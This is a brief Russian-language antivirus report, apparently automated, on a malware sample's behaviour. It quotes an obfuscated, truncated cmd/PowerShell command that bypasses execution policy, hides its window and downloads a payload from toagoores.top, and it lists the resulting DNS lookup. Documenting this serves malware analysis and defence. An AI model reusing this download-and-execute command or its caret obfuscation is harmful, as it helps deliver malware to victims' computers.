Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POw^ErSHELL.exe ^-^E^xE^cUtI^ONpoL^iCy^ BYp^A^SS^ -n^OPrOfILe ^-wiNDoWstYLe^ ^H^IdDE^n ^(NeW^-^o^BjEC^t ^SY^ste^m.n^e^t^.^wEbcliENT).dO^Wnl^oAd^Fi^LE('http://toagoores.top/read...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POw^ErSHELL.exe ^-^E^xE^cUtI^ONpoL^iCy^ BYp^A^SS^ -n^OPrOfILe ^-wiNDoWstYLe^ ^H^IdDE^n ^(NeW^-^o^BjEC^t ^SY^ste^m.n^e^t^.^wEbcliENT).dO^Wnl^oAd^Fi^LE('http://toagoores.top/read...' (со скрытым окном)
